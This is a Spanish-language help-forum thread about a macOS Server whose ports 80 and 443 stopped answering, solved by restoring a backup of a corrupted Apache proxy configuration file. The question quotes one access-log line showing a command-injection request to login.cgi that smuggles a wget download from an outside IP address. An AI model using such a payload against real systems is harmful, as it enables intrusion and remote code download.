2 votos

los puertos 80 y 443 se cierran repentinamente en el servidor de MacOS

cuento corto

Los puertos 80 y 443 parecen estar cerrados en mi servidor MacOS (comprobado con Network Utility) - no puedo acceder a ningún sitio web tanto desde la red local como desde Internet.

He reiniciado el servicio de sitios web y he reiniciado el servidor varias veces.

¿Cómo reabrir los puertos 80 y 443?


larga historia

Tengo un par de sitios web alojados en mi servidor MacOS con el servicio Websites.

Funcionaba bien hasta hace 2 días.

Ayer me di cuenta de que no podía acceder a ningún sitio web del servidor ni a través de la red local ni desde Internet. Después de la investigación me di cuenta de que los puertos 80 y 443 no están abiertos en la máquina del servidor.

He reiniciado el servidor un par de veces, he apagado y vuelto a encender el servicio de Websites, sin cambios.

No veo nada demasiado malo en los registros, aparte de una especie de petición extraña que parece ser el último acceso al servidor web desde el mundo "exterior" y que dice lo siguiente

default 88.207.212.19 - - [23/Feb/2019:11:59:10 +0000] "GET /login.cgi?cli=aa%20aa%27;wget%20http://128.199.251.119/t.php%27$ HTTP/1.1" 302 331 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"

Ejecuto la versión más antigua de la aplicación Server - 5.6.3 en MacOS 10.13.6

No he instalado/actualizado ni cambiado nada en el servidor ni en mi red local en los últimos días.

actualización

Me he dado cuenta de que tengo un montón de entradas en el registro del sistema del servidor:

... com.apple.xpc.launchd[1] (com.apple.serviceproxy[__various port numbers__]): Service exited with abnormal code: 1
... com.apple.xpc.launchd[1] (com.apple.serviceproxy): Service only ran for 0 seconds. Pushing respawn out by 10 seconds.

independientemente de que el servicio de sitios web funcione o no

0 votos

¿Puedes conectarte a los puertos usando safari localmente? Si no es así, tendrás que centrarte en lsof y qué proceso está abriendo esos puertos. Si es así, entonces es el firewall o la red. Una vez que esté claro cuál de los tres es el problema, las soluciones deberían ser más fáciles de proponer.

0 votos

Yo he tenido problemas similares una vez. Que yo recuerde, la única salida era desactivar (apagar) el servidor web en la aplicación del servidor por completo, reiniciar, y luego volver a configurarlo sitio por sitio.

1voto

Matt R Puntos 136

Resultó que el /Library/Server/Web/Config/Proxy/apache_serviceproxy_customsites.conf el archivo se corrompió.

Por suerte, había un archivo de copia de seguridad en el mismo directorio /Library/Server/Web/Config/Proxy/apache_serviceproxy_customsites.conf.previous ¡y un simple intercambio solucionó el problema! (recuerde reiniciar el servicio de Websites)

No estoy seguro de que esto sea relevante, pero podría serlo: Por el informe de Etrecheck me he dado cuenta de que había una actualización de macOS más o menos cuando se produjo el problema: 2019-02-19 Security Update 2019-001 (10.13.6)


Hilo de las Comunidades de Soporte de Apple que ayudó a localizar el problema: https://discussions.apple.com/thread/250188369

AppleAyuda.com

AppleAyuda es una comunidad de usuarios de los productos de Apple en la que puedes resolver tus problemas y dudas.
Puedes consultar las preguntas de otros usuarios, hacer tus propias preguntas o resolver las de los demás.

Powered by:

X